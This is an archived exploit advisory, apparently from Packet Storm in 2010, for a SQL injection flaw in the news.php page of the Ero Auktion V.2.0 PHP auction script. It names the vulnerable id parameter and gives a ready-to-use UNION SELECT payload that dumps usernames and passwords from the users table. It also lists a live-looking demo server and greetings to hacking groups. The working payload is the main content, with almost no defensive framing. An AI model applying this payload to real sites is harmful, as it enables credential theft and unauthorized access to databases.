Ero Auktion 2.0 SQL Injection

2010-02-23T00:00:00
ID PACKETSTORM:86550
Type packetstorm
Reporter Easy Laster
Modified 2010-02-23T00:00:00

Description

                                        
                                            `# Exploit Title: Ero Auktion V.2.0 SQL Injection news.php  
# Date: 21.02.2010  
# Author: Easy Laster  
# Tested on: windows xp  
  
  
  
----------------------------Information----------------------------------------  
+Autor : Easy Laster  
+Date : 21.10.2010  
+Script : Ero Auktion V.2.0 SQL Injection news.php  
+Download : -----  
+Demo :http://wp1072278.vwp3485.webpack.hosteurope.de/demoserver/flashauktion/  
+Price : 34,90€  
+Language :PHP  
+Discovered by Easy Laster  
+Security Group 4004-Security-Project  
+Greetz to Team-Internet ,Underground Agents  
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,  
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,  
N00bor.  
--------------------------------------------------------------------------------  
___ ___ ___ ___ _ _ _ _  
| | | | | | |___ ___ ___ ___ ___|_| |_ _ _ ___ ___ ___ ___ |_|___ ___| |_  
|_ | | | | |_ |___|_ -| -_| _| _| | _| | |___| . | _| . | | | -_| _| _|  
|_|___|___| |_| |___|___|___|_| |_|_| |_ | | _|_| |___|_| |___|___|_|  
|___| |_| |___|  
--------------------------------------------------------------------------------  
+Vulnerability : www.Site.com/news.php?id=[SQL]  
+Exploitable : www.site.com/flashauktion/news.php?id=11111111+union+select+1,  
2,concat%28name,0x3a,password%29,4,5+from+users  
--------------------------------------------------------------------------------  
`